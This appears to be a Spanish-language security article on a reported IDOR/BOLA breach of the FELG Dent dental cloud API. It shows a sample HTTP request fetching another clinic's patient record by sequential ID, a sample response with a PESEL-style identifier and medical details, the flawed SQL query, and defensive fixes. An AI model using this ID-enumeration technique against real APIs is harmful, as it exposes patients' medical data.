Filtración Sanitaria en FELG Dent: Falla de IDOR en API Expone 2.4 Millones de Pacientes
El 1 de octubre de 2026, la compañía polaca FELG Software confirmó un ciberataque masivo contra su sistema de gestión odontológica en la nube, FELG Dent. El atacante conocido como "Horus" logró extraer los registros de más de 2.4 millones de pacientes pertenecientes a 16,000 clínicas dentales. La brecha se produjo debido a una vulnerabilidad crítica de Referencia Directa Insegura a Objetos (IDOR) en la API REST de la aplicación.
Mecánica de la Vulnerabilidad IDOR / BOLA
El atacante activó una cuenta de prueba gratuita (demo) en FELG Dent y analizó el tráfico HTTP saliente. Observó que los endpoints de gestión de historias clínicas empleaban identificadores secuenciales enteros y carecían de verificación de propiedad en el backend:
GET /api/v2/clinics/demo_account/patients/849201 HTTP/1.1
Host: cloud.felgdent.pl
Authorization: Bearer [Token de Cuenta Demo Válido]
HTTP/1.1 200 OK
Content-Type: application/json
{
"patient_id": 849201,
"clinic_id": 1042,
"first_name": "Jan",
"last_name": "Kowalski",
"pesel": "85031201948",
"prescriptions": [
{ "id": 10294, "drug": "Amoxicilina 500mg", "date": "2026-09-15" }
],
"medical_history": "Diabetes Tipo 2, Alergia a Penicilina"
}
Dado que la consulta SQL en el servidor ejecutaba simplemente SELECT * FROM patients WHERE id = :id sin comprobar si clinic_id == usuario_actual.clinic_id, un script automatizado recorrió valores secuenciales del 1 al 3,000,000, sustrayendo 2.4 millones de historiales y 1.2 millones de recetas.
Pautas de Desarrollo Seguro Frente a BOLA
- Migrar a Identificadores UUIDv4: Abandonar los identificadores autoincrementales y adoptar identificadores UUID aleatorios para impedir la enumeración secuencial.
- Monitoreo de Comportamiento en Pasarelas API: Configurar umbrales de alerta en el API Gateway ante clientes que consulten volúmenes anormalmente altos de identificadores únicos en lapsos reducidos.
Control Estricto de Pertenencia en Consultas: Forzar que cada consulta a la base de datos incluya obligatoriamente el identificador de la organización del usuario autenticado:
# Consulta segura con validación de inquilino (tenant)
paciente = db.session.query(Paciente).filter(
Paciente.id == id_solicitado,
Paciente.clinic_id == usuario_actual.clinic_id # Filtro de pertenencia obligatorio
).first_or_404()